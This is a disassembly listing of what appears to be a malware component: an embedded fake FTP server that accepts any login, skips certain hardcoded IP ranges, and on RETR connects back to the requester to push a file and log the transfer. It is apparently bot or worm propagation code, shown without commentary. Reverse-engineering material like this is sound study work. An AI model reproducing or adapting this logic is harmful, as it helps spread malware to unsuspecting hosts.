Str		= byte ptr -454h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
buf		= byte ptr -434h
var_41C		= dword	ptr -41Ch
argp		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
readfds		= fd_set ptr -40Ch
netlong		= sockaddr ptr -308h
optval		= byte ptr -2F8h
fd		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
Str2		= byte ptr -2ECh
var_288		= byte ptr -288h
hostshort	= word ptr -254h
Dest		= byte ptr -250h
s		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= byte ptr -214h
name		= sockaddr ptr -1B0h
var_1A0		= dword	ptr -1A0h
addrlen		= dword	ptr -19Ch
cp		= byte ptr -198h
var_188		= dword	ptr -188h
var_184		= dword	ptr -184h
var_180		= dword	ptr -180h
var_17C		= byte ptr -17Ch
var_178		= dword	ptr -178h
var_174		= byte ptr -174h
Dst		= byte ptr -170h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		push	esi
		push	edi
		mov	dword ptr [ebp+optval],	1
		mov	[ebp+argp], 1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	[ebp+var_188], ecx
		mov	edx, [eax+4]
		mov	[ebp+var_184], edx
		mov	eax, [eax+8]
		mov	[ebp+var_180], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_1A0], ecx
		mov	edx, [ebp+var_1A0]
		mov	byte ptr [edx+6], 1
		mov	[ebp+var_104], 0
		mov	[ebp+readfds.fd_count],	0
		mov	ax, word ptr [ebp+var_184]
		mov	hostshort, ax
		push	0		; protocol
		push	1		; type
		push	2		; af
		call	ds:socket	; socket
		mov	[ebp+s], eax
		push	4		; optlen
		lea	ecx, [ebp+optval]
		push	ecx		; optval
		push	4		; optname
		push	0FFFFh		; level
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:setsockopt	; setsockopt
		lea	eax, [ebp+argp]
		push	eax		; argp
		push	8004667Eh	; cmd
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:ioctlsocket	; ioctlsocket
		mov	[ebp+name.sa_family], 2
		mov	dword ptr [ebp+name.sa_data+2],	0
		mov	dx, hostshort
		push	edx		; hostshort
		call	ds:htons	; htons
		mov	word ptr [ebp+name.sa_data], ax
		push	8		; Size
		push	0		; Val
		lea	eax, [ebp+name.sa_data+6]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	10h		; namelen
		lea	ecx, [ebp+name]
		push	ecx		; name
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:bind	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_10005D67
		push	1
		mov	eax, [ebp+var_188]
		push	eax
		call	sub_1000AB26
		add	esp, 8
		push	0
		call	ds:_endthreadex	; _endthreadex
		add	esp, 4

loc_10005D67:				; CODE XREF: sub_10005C3D+10Cj
		push	0Ah		; backlog
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:listen	; listen

loc_10005D76:				; CODE XREF: sub_10005C3D+1B8j
		mov	[ebp+var_41C], 0
		jmp	short loc_10005D91
; ---------------------------------------------------------------------------

loc_10005D82:				; CODE XREF: sub_10005C3D:loc_10005DB6j
		mov	edx, [ebp+var_41C]
		add	edx, 1
		mov	[ebp+var_41C], edx

loc_10005D91:				; CODE XREF: sub_10005C3D+143j
		mov	eax, [ebp+var_41C]
		cmp	eax, [ebp+var_104]
		jnb	short loc_10005DB8
		mov	ecx, [ebp+var_41C]
		mov	edx, [ebp+ecx*4+var_100]
		cmp	edx, [ebp+s]
		jnz	short loc_10005DB6
		jmp	short loc_10005DB8
; ---------------------------------------------------------------------------

loc_10005DB6:				; CODE XREF: sub_10005C3D+175j
		jmp	short loc_10005D82
; ---------------------------------------------------------------------------

loc_10005DB8:				; CODE XREF: sub_10005C3D+160j
					; sub_10005C3D+177j
		mov	eax, [ebp+var_41C]
		cmp	eax, [ebp+var_104]
		jnz	short loc_10005DF1
		cmp	[ebp+var_104], 40h
		jnb	short loc_10005DF1
		mov	ecx, [ebp+var_41C]
		mov	edx, [ebp+s]
		mov	[ebp+ecx*4+var_100], edx
		mov	eax, [ebp+var_104]
		add	eax, 1
		mov	[ebp+var_104], eax

loc_10005DF1:				; CODE XREF: sub_10005C3D+187j
					; sub_10005C3D+190j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	loc_10005D76
		mov	edx, [ebp+s]
		mov	[ebp+var_178], edx

loc_10005E07:				; CODE XREF: sub_10005C3D:loc_10006868j
		mov	eax, 1
		test	eax, eax
		jz	loc_1000686D
		mov	ecx, 41h
		lea	esi, [ebp+var_104]
		lea	edi, [ebp+readfds]
		rep movsd
		push	0		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	ecx, [ebp+readfds]
		push	ecx		; readfds
		mov	edx, [ebp+var_178]
		add	edx, 1
		push	edx		; nfds
		call	ds:select	; select
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_10005E65
		push	1
		mov	eax, [ebp+var_188]
		push	eax
		call	sub_1000AB26
		add	esp, 8
		push	0
		call	ds:_endthreadex	; _endthreadex
		add	esp, 4

loc_10005E65:				; CODE XREF: sub_10005C3D+20Aj
		mov	[ebp+fd], 0
		jmp	short loc_10005E80
; ---------------------------------------------------------------------------

loc_10005E71:				; CODE XREF: sub_10005C3D+33Dj
					; sub_10005C3D+38Cj ...
		mov	ecx, [ebp+fd]
		add	ecx, 1
		mov	[ebp+fd], ecx

loc_10005E80:				; CODE XREF: sub_10005C3D+232j
		mov	edx, [ebp+fd]
		cmp	edx, [ebp+var_178]
		jg	loc_10006868
		push	64h		; Size
		push	0		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	64h		; Size
		push	0		; Val
		lea	ecx, [ebp+Str2]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		lea	edx, [ebp+readfds]
		push	edx		; fd_set *
		mov	eax, [ebp+fd]
		push	eax		; fd
		call	__WSAFDIsSet	; __WSAFDIsSet
		test	eax, eax
		jz	loc_10006863
		mov	ecx, [ebp+fd]
		cmp	ecx, [ebp+s]
		jnz	loc_10006098
		mov	[ebp+addrlen], 10h
		lea	edx, [ebp+addrlen]
		push	edx		; addrlen
		lea	eax, [ebp+netlong]
		push	eax		; addr
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:accept	; accept
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0FFFFFFFFh
		jz	loc_10006093
		mov	ecx, 5
		mov	esi, offset a220WelcomeToFt ; "220 Welcome to FTPd\n"
		lea	edi, [ebp+buf]
		rep movsd
		movsb
		mov	edx, dword ptr [ebp+netlong.sa_data+2]
		push	edx		; netlong
		call	ds:ntohl	; ntohl
		mov	esi, eax
		push	offset cp	; "61.251.128.0"
		call	ds:inet_addr	; inet_addr
		push	eax		; netlong
		call	ds:ntohl	; ntohl
		cmp	esi, eax
		jb	short loc_10005F7F
		mov	eax, dword ptr [ebp+netlong.sa_data+2]
		push	eax		; netlong
		call	ds:ntohl	; ntohl
		mov	esi, eax
		push	offset a61_251_128_255 ; "61.251.128.255"
		call	ds:inet_addr	; inet_addr
		push	eax		; netlong
		call	ds:ntohl	; ntohl
		cmp	esi, eax
		ja	short loc_10005F7F
		jmp	loc_10005E71
; ---------------------------------------------------------------------------

loc_10005F7F:				; CODE XREF: sub_10005C3D+316j
					; sub_10005C3D+33Bj
		mov	ecx, dword ptr [ebp+netlong.sa_data+2]
		push	ecx		; netlong
		call	ds:ntohl	; ntohl
		mov	esi, eax
		push	offset a210_93_224_0 ; "210.93.224.0"
		call	ds:inet_addr	; inet_addr
		push	eax		; netlong
		call	ds:ntohl	; ntohl
		cmp	esi, eax
		jb	short loc_10005FCE
		mov	edx, dword ptr [ebp+netlong.sa_data+2]
		push	edx		; netlong
		call	ds:ntohl	; ntohl
		mov	esi, eax
		push	offset a210_93_224_255 ; "210.93.224.255"
		call	ds:inet_addr	; inet_addr
		push	eax		; netlong
		call	ds:ntohl	; ntohl
		cmp	esi, eax
		ja	short loc_10005FCE
		jmp	loc_10005E71
; ---------------------------------------------------------------------------

loc_10005FCE:				; CODE XREF: sub_10005C3D+365j
					; sub_10005C3D+38Aj ...
		mov	[ebp+var_438], 0
		jmp	short loc_10005FE9
; ---------------------------------------------------------------------------

loc_10005FDA:				; CODE XREF: sub_10005C3D:loc_1000600Ej
		mov	eax, [ebp+var_438]
		add	eax, 1
		mov	[ebp+var_438], eax

loc_10005FE9:				; CODE XREF: sub_10005C3D+39Bj
		mov	ecx, [ebp+var_438]
		cmp	ecx, [ebp+var_104]
		jnb	short loc_10006010
		mov	edx, [ebp+var_438]
		mov	eax, [ebp+edx*4+var_100]
		cmp	eax, [ebp+var_410]
		jnz	short loc_1000600E
		jmp	short loc_10006010
; ---------------------------------------------------------------------------

loc_1000600E:				; CODE XREF: sub_10005C3D+3CDj
		jmp	short loc_10005FDA
; ---------------------------------------------------------------------------

loc_10006010:				; CODE XREF: sub_10005C3D+3B8j
					; sub_10005C3D+3CFj
		mov	ecx, [ebp+var_438]
		cmp	ecx, [ebp+var_104]
		jnz	short loc_10006049
		cmp	[ebp+var_104], 40h
		jnb	short loc_10006049
		mov	edx, [ebp+var_438]
		mov	eax, [ebp+var_410]
		mov	[ebp+edx*4+var_100], eax
		mov	ecx, [ebp+var_104]
		add	ecx, 1
		mov	[ebp+var_104], ecx

loc_10006049:				; CODE XREF: sub_10005C3D+3DFj
					; sub_10005C3D+3E8j
		xor	edx, edx
		test	edx, edx
		jnz	loc_10005FCE
		mov	eax, [ebp+var_410]
		cmp	eax, [ebp+var_178]
		jle	short loc_1000606D
		mov	ecx, [ebp+var_410]
		mov	[ebp+var_178], ecx

loc_1000606D:				; CODE XREF: sub_10005C3D+422j
		push	0		; flags
		lea	edx, [ebp+buf]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	eax, [ebp+buf]
		push	eax		; buf
		mov	ecx, [ebp+var_410]
		push	ecx		; s
		call	ds:send	; send

loc_10006093:				; CODE XREF: sub_10005C3D+2DAj
		jmp	loc_10006863
; ---------------------------------------------------------------------------

loc_10006098:				; CODE XREF: sub_10005C3D+2A2j
		push	0		; flags
		push	64h		; len
		lea	edx, [ebp+Dst]
		push	edx		; buf
		mov	eax, [ebp+fd]
		push	eax		; s
		call	ds:recv	; recv
		mov	[ebp+var_2F0], eax
		cmp	[ebp+var_2F0], 0
		jg	loc_1000616F

loc_100060C3:				; CODE XREF: sub_10005C3D+51Aj
		mov	[ebp+var_43C], 0
		jmp	short loc_100060DE
; ---------------------------------------------------------------------------

loc_100060CF:				; CODE XREF: sub_10005C3D:loc_1000614Ej
		mov	ecx, [ebp+var_43C]
		add	ecx, 1
		mov	[ebp+var_43C], ecx

loc_100060DE:				; CODE XREF: sub_10005C3D+490j
		mov	edx, [ebp+var_43C]
		cmp	edx, [ebp+var_104]
		jnb	short loc_10006153
		mov	eax, [ebp+var_43C]
		mov	ecx, [ebp+eax*4+var_100]
		cmp	ecx, [ebp+fd]
		jnz	short loc_1000614E

loc_10006101:				; CODE XREF: sub_10005C3D+4FEj
		mov	edx, [ebp+var_104]
		sub	edx, 1
		cmp	[ebp+var_43C], edx
		jnb	short loc_1000613D
		mov	eax, [ebp+var_43C]
		mov	ecx, [ebp+var_43C]
		mov	edx, [ebp+ecx*4+var_FC]
		mov	[ebp+eax*4+var_100], edx
		mov	eax, [ebp+var_43C]
		add	eax, 1
		mov	[ebp+var_43C], eax
		jmp	short loc_10006101
; ---------------------------------------------------------------------------

loc_1000613D:				; CODE XREF: sub_10005C3D+4D3j
		mov	ecx, [ebp+var_104]
		sub	ecx, 1
		mov	[ebp+var_104], ecx
		jmp	short loc_10006153
; ---------------------------------------------------------------------------

loc_1000614E:				; CODE XREF: sub_10005C3D+4C2j
		jmp	loc_100060CF
; ---------------------------------------------------------------------------

loc_10006153:				; CODE XREF: sub_10005C3D+4ADj
					; sub_10005C3D+50Fj
		xor	edx, edx
		test	edx, edx
		jnz	loc_100060C3
		mov	eax, [ebp+fd]
		push	eax		; s
		call	ds:closesocket	; closesocket
		jmp	loc_10006863
; ---------------------------------------------------------------------------

loc_1000616F:				; CODE XREF: sub_10005C3D+480j
		lea	ecx, [ebp+var_214]
		push	ecx
		lea	edx, [ebp+Str2]
		push	edx
		push	offset aSS_7	; "%s %s"
		lea	eax, [ebp+Dst]
		push	eax		; Src
		call	ds:sscanf	; sscanf
		add	esp, 10h
		lea	ecx, [ebp+Str2]
		push	ecx		; Str2
		push	offset Str1	; "USER"
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_100061EA
		mov	ecx, 5
		mov	esi, offset a331PasswordReq ; "331 Password required\n"
		lea	edi, [ebp+Str]
		rep movsd
		movsw
		movsb
		push	0		; flags
		lea	edx, [ebp+Str]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	eax, [ebp+Str]
		push	eax		; buf
		mov	ecx, [ebp+fd]
		push	ecx		; s
		call	ds:send	; send
		jmp	loc_10006850
; ---------------------------------------------------------------------------

loc_100061EA:				; CODE XREF: sub_10005C3D+56Bj
		lea	edx, [ebp+Str2]
		push	edx		; Str2
		push	offset aPass	; "PASS"
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_1000623F
		mov	ecx, 5
		mov	esi, offset a230UserLoggedI ; "230 User	logged in\n"
		lea	edi, [ebp+var_468]
		rep movsd
		push	0		; flags
		lea	eax, [ebp+var_468]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	ecx, [ebp+var_468]
		push	ecx		; buf
		mov	edx, [ebp+fd]
		push	edx		; s
		call	ds:send	; send
		jmp	loc_10006850
; ---------------------------------------------------------------------------

loc_1000623F:				; CODE XREF: sub_10005C3D+5C3j
		lea	eax, [ebp+Str2]
		push	eax		; Str2
		push	offset aSyst	; "SYST"
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_100062A7
		mov	ecx, dword_10011F34
		mov	[ebp+var_474], ecx
		mov	edx, dword_10011F38
		mov	[ebp+var_470], edx
		mov	ax, word_10011F3C
		mov	[ebp+var_46C], ax
		push	0		; flags
		lea	ecx, [ebp+var_474]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	edx, [ebp+var_474]
		push	edx		; buf
		mov	eax, [ebp+fd]
		push	eax		; s
		call	ds:send	; send
		jmp	loc_10006850
; ---------------------------------------------------------------------------

loc_100062A7:				; CODE XREF: sub_10005C3D+618j
		lea	ecx, [ebp+Str2]
		push	ecx		; Str2
		push	offset aRest	; "REST"
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10006319
		mov	edx, dword_10011F48
		mov	[ebp+var_484], edx
		mov	eax, dword_10011F4C
		mov	[ebp+var_480], eax
		mov	ecx, dword_10011F50
		mov	[ebp+var_47C], ecx
		mov	edx, dword_10011F54
		mov	[ebp+var_478], edx
		push	0		; flags
		lea	eax, [ebp+var_484]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	ecx, [ebp+var_484]
		push	ecx		; buf
		mov	edx, [ebp+fd]
		push	edx		; s
		call	ds:send	; send
		jmp	loc_10006850
; ---------------------------------------------------------------------------

loc_10006319:				; CODE XREF: sub_10005C3D+680j
		lea	eax, [ebp+Str2]
		push	eax		; Str2
		push	offset aPwd	; "PWD"
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10006370
		mov	ecx, 7
		mov	esi, offset a257IsCurrentDi ; "257 \"/\" is current directory\n"
		lea	edi, [ebp+var_4A4]
		rep movsd
		movsw
		push	0		; flags
		lea	ecx, [ebp+var_4A4]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	edx, [ebp+var_4A4]
		push	edx		; buf
		mov	eax, [ebp+fd]
		push	eax		; s
		call	ds:send	; send
		jmp	loc_10006850
; ---------------------------------------------------------------------------

loc_10006370:				; CODE XREF: sub_10005C3D+6F2j
		lea	ecx, [ebp+Str2]
		push	ecx		; Str2
		push	offset aType	; "TYPE"
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	loc_10006417
		lea	edx, [ebp+var_214]
		push	edx		; Str2
		push	offset aA	; "A"
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10006417
		mov	eax, dword_10011F88
		mov	[ebp+var_4B8], eax
		mov	ecx, dword_10011F8C
		mov	[ebp+var_4B4], ecx
		mov	edx, dword_10011F90
		mov	[ebp+var_4B0], edx
		mov	eax, dword_10011F94
		mov	[ebp+var_4AC], eax
		mov	cx, word_10011F98
		mov	[ebp+var_4A8], cx
		mov	dl, byte_10011F9A
		mov	[ebp+var_4A6], dl
		push	0		; flags
		lea	eax, [ebp+var_4B8]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	ecx, [ebp+var_4B8]
		push	ecx		; buf
		mov	edx, [ebp+fd]
		push	edx		; s
		call	ds:send	; send
		jmp	loc_10006850
; ---------------------------------------------------------------------------

loc_10006417:				; CODE XREF: sub_10005C3D+749j
					; sub_10005C3D+765j
		lea	eax, [ebp+Str2]
		push	eax		; Str2
		push	offset aType_0	; "TYPE"
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	loc_100064BE
		lea	ecx, [ebp+var_214]
		push	ecx		; Str2
		push	offset aI	; "I"
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_100064BE
		mov	edx, dword_10011FA8
		mov	[ebp+var_4CC], edx
		mov	eax, dword_10011FAC
		mov	[ebp+var_4C8], eax
		mov	ecx, dword_10011FB0
		mov	[ebp+var_4C4], ecx
		mov	edx, dword_10011FB4
		mov	[ebp+var_4C0], edx
		mov	ax, word_10011FB8
		mov	[ebp+var_4BC], ax
		mov	cl, byte_10011FBA
		mov	[ebp+var_4BA], cl
		push	0		; flags
		lea	edx, [ebp+var_4CC]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	eax, [ebp+var_4CC]
		push	eax		; buf
		mov	ecx, [ebp+fd]
		push	ecx		; s
		call	ds:send	; send
		jmp	loc_10006850
; ---------------------------------------------------------------------------

loc_100064BE:				; CODE XREF: sub_10005C3D+7F0j
					; sub_10005C3D+80Cj
		lea	edx, [ebp+Str2]
		push	edx		; Str2
		push	offset aPasv	; "PASV"
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10006515
		mov	ecx, 0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		lea	edi, [ebp+var_4F8]
		rep movsd
		movsw
		push	0		; flags
		lea	eax, [ebp+var_4F8]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	ecx, [ebp+var_4F8]
		push	ecx		; buf
		mov	edx, [ebp+fd]
		push	edx		; s
		call	ds:send	; send
		jmp	loc_10006850
; ---------------------------------------------------------------------------

loc_10006515:				; CODE XREF: sub_10005C3D+897j
		lea	eax, [ebp+Str2]
		push	eax		; Str2
		push	offset aList	; "LIST"
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_1000656D
		mov	ecx, 5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		lea	edi, [ebp+var_510]
		rep movsd
		movsw
		movsb
		push	0		; flags
		lea	ecx, [ebp+var_510]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	edx, [ebp+var_510]
		push	edx		; buf
		mov	eax, [ebp+fd]
		push	eax		; s
		call	ds:send	; send
		jmp	loc_10006850
; ---------------------------------------------------------------------------

loc_1000656D:				; CODE XREF: sub_10005C3D+8EEj
		lea	ecx, [ebp+Str2]
		push	ecx		; Str2
		push	offset aPort	; "PORT"
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	loc_100066B7
		mov	ecx, 7
		mov	esi, offset a200PortCommand ; "200 PORT	command	successful\n"
		lea	edi, [ebp+var_530]
		rep movsd
		movsb
		lea	edx, [ebp+var_288]
		push	edx
		lea	eax, [ebp+Dest]
		push	eax
		lea	ecx, [ebp+var_17C]
		push	ecx
		lea	edx, [ebp+var_174]
		push	edx
		lea	eax, [ebp+var_10C]
		push	eax
		lea	ecx, [ebp+var_108]
		push	ecx
		push	offset aS_0	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		lea	edx, [ebp+Dst]
		push	edx		; Src
		call	ds:sscanf	; sscanf
		add	esp, 20h
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		mov	[ebp+var_218], eax
		lea	ecx, [ebp+var_288]
		push	ecx		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		mov	[ebp+var_414], eax
		push	32h		; Size
		push	0		; Val
		lea	edx, [ebp+Dest]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_414]
		push	eax
		mov	ecx, [ebp+var_218]
		push	ecx
		push	offset aXX	; "%x%x\n"
		push	32h		; Count
		lea	edx, [ebp+Dest]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 14h
		push	10h		; Radix
		push	0		; EndPtr
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	ds:strtoul	; strtoul
		add	esp, 0Ch
		mov	dword ptr [ebp+hostshort], eax
		lea	ecx, [ebp+var_17C]
		push	ecx
		lea	edx, [ebp+var_174]
		push	edx
		lea	eax, [ebp+var_10C]
		push	eax
		lea	ecx, [ebp+var_108]
		push	ecx
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	10h		; Count
		lea	edx, [ebp+cp]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 1Ch
		push	0		; flags
		lea	eax, [ebp+var_530]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	ecx, [ebp+var_530]
		push	ecx		; buf
		mov	edx, [ebp+fd]
		push	edx		; s
		call	ds:send	; send
		jmp	loc_10006850
; ---------------------------------------------------------------------------

loc_100066B7:				; CODE XREF: sub_10005C3D+946j
		lea	eax, [ebp+Str2]
		push	eax		; Str2
		push	offset aRetr	; "RETR"
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	loc_100067E3
		mov	ecx, 0Ah
		mov	esi, offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		lea	edi, [ebp+var_55C]
		rep movsd
		movsb
		mov	ecx, 5
		mov	esi, offset a226TransferC_0 ; "226 Transfer complete\n"
		lea	edi, [ebp+var_574]
		rep movsd
		movsw
		movsb
		mov	ecx, 8
		mov	esi, offset a425CanTOpenDat ; "425 Can't open data connection\n"
		lea	edi, [ebp+var_594]
		rep movsd
		push	0		; flags
		lea	ecx, [ebp+var_55C]
		push	ecx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	edx, [ebp+var_55C]
		push	edx		; buf
		mov	eax, [ebp+fd]
		push	eax		; s
		call	ds:send	; send
		mov	cx, [ebp+hostshort]
		push	ecx		; hostshort
		lea	edx, [ebp+cp]
		push	edx		; cp
		call	sub_10005A70
		add	esp, 8
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_100067BB
		call	sub_10005AE8
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_100067B9
		push	0		; flags
		lea	eax, [ebp+var_574]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	ecx, [ebp+var_574]
		push	ecx		; buf
		mov	edx, [ebp+fd]
		push	edx		; s
		call	ds:send	; send
		mov	eax, dword_1002D0EC
		add	eax, 1
		mov	dword_1002D0EC,	eax
		xor	ecx, ecx
		mov	cl, byte_1002D0F5
		test	ecx, ecx
		jz	short loc_100067B9
		lea	edx, [ebp+cp]
		push	edx		; char
		push	offset aFtpTransferCom ; "ftp transfer complete	to %s"
		push	offset dword_1002C7E8 ;	int
		call	sub_10007303
		add	esp, 0Ch

loc_100067B9:				; CODE XREF: sub_10005C3D+B22j
					; sub_10005C3D+B61j
		jmp	short loc_100067E1
; ---------------------------------------------------------------------------

loc_100067BB:				; CODE XREF: sub_10005C3D+B14j
		push	0		; flags
		lea	eax, [ebp+var_594]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	ecx, [ebp+var_594]
		push	ecx		; buf
		mov	edx, [ebp+fd]
		push	edx		; s
		call	ds:send	; send

loc_100067E1:				; CODE XREF: sub_10005C3D:loc_100067B9j
		jmp	short loc_10006850
; ---------------------------------------------------------------------------

loc_100067E3:				; CODE XREF: sub_10005C3D+A90j
		lea	eax, [ebp+Str2]
		push	eax		; Str2
		push	offset aQuit_0	; "QUIT"
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10006850
		mov	ecx, dword_10012104
		mov	[ebp+var_5A4], ecx
		mov	edx, dword_10012108
		mov	[ebp+var_5A0], edx
		mov	eax, dword_1001210C
		mov	[ebp+var_59C], eax
		mov	cl, byte_10012110
		mov	[ebp+var_598], cl
		push	0		; flags
		lea	edx, [ebp+var_5A4]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; len
		lea	eax, [ebp+var_5A4]
		push	eax		; buf
		mov	ecx, [ebp+fd]
		push	ecx		; s
		call	ds:send	; send

loc_10006850:				; CODE XREF: sub_10005C3D+5A8j
					; sub_10005C3D+5FDj ...
		push	64h		; Size
		push	0		; Val
		lea	edx, [ebp+Dst]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch

loc_10006863:				; CODE XREF: sub_10005C3D+290j
					; sub_10005C3D:loc_10006093j ...
		jmp	loc_10005E71
; ---------------------------------------------------------------------------

loc_10006868:				; CODE XREF: sub_10005C3D+24Fj
		jmp	loc_10005E07
; ---------------------------------------------------------------------------

loc_1000686D:				; CODE XREF: sub_10005C3D+1D1j
		push	1
		mov	eax, [ebp+var_188]
		push	eax
		call	sub_1000AB26
		add	esp, 8
		push	0
		call	ds:_endthreadex	; _endthreadex
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
sub_10005C3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10006893	proc near		; DATA XREF: .data:1000E034o
		push	ebp
		mov	ebp, esp
		call	sub_100068A2
		call	sub_100068B2
		pop	ebp
		retn
sub_10006893	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100068A2	proc near		; CODE XREF: sub_10006893+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D10B
		call	ds:??0Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::Init(void)
		pop	ebp
		retn
sub_100068A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100068B2	proc near		; CODE XREF: sub_10006893+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_100068C4 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_100068B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_100068C4()

sub_100068C4	proc near		; DATA XREF: sub_100068B2+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D10B
		call	ds:??1Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::~Init(void)
		pop	ebp
		retn
sub_100068C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100068D4	proc near		; DATA XREF: .data:1000E038o
		push	ebp
		mov	ebp, esp
		call	sub_100068E3
		call	sub_100068F3
		pop	ebp
		retn
sub_100068D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100068E3	proc near		; CODE XREF: sub_100068D4+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D10A
		call	ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
		pop	ebp
		retn
sub_100068E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100068F3	proc near		; CODE XREF: sub_100068D4+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_10006905 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_100068F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_10006905()

sub_10006905	proc near		; DATA XREF: sub_100068F3+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D10A
		call	ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
		pop	ebp
		retn
sub_10006905	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10006920	proc near		; DATA XREF: .data:1000E03Co
		push	ebp
		mov	ebp, esp
		call	sub_1000692F
		call	sub_1000693F
		pop	ebp
		retn
sub_10006920	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000692F	proc near		; CODE XREF: sub_10006920+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D115
		call	ds:??0Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::Init(void)
		pop	ebp
		retn
